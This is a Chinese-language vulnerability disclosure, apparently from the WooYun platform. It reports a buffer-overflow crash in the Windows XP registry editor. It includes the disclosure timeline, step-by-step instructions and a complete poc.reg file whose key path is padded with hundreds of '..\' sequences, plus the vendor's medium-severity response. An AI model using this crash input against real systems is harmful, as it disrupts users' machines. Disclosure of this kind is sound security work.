Windows XP 注册表编辑器 缓冲区溢出漏洞

漏洞详情

披露状态:

2014-01-16: 细节已通知厂商并且等待厂商处理中
2014-01-21: 厂商已经确认,细节仅向厂商公开
2014-01-24: 细节向第三方安全合作伙伴开放
2014-01-31: 细节向核心白帽子及相关领域专家公开
2014-02-10: 细节向普通白帽子公开
2014-03-02: 细节向实习白帽子公开
2014-04-16: 细节向公众公开

简要描述:

漏洞文件regedit.exe
版本:5.1.2600.5512
测试环境 win xp sp3

详细说明:

regreg.jpg

解析问题,导致缓冲区溢出漏洞。

poc构造很简单。我是这样构造的。

1 随意找一个注册表,打开注册表项搜索Notepad.exe

2 找到后 导出来,命名为poc.reg

3 在文件路径内加入100H个"..\"

4 保存。点击。加入注册表

5 打开注册表,找到刚刚新添加的那一项。点击导出。输入文件名。

6 这时候regdit.exe就崩溃了。

poc.REG信息(将下列文件以文本的形式保存。重命名为poc.REG)

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\OpenWithList\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Notepad.exe]









注意是poc内单斜杠,不是双斜杠奥。

漏洞证明:

regedit.jpg



修复方案:

重写解析代码

版权声明:转载请注明来源 光刃@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-21 08:26

厂商回复:

机理有待进一步确认,同时对于版本有效性还需确认。

最新状态:

暂无


漏洞评价: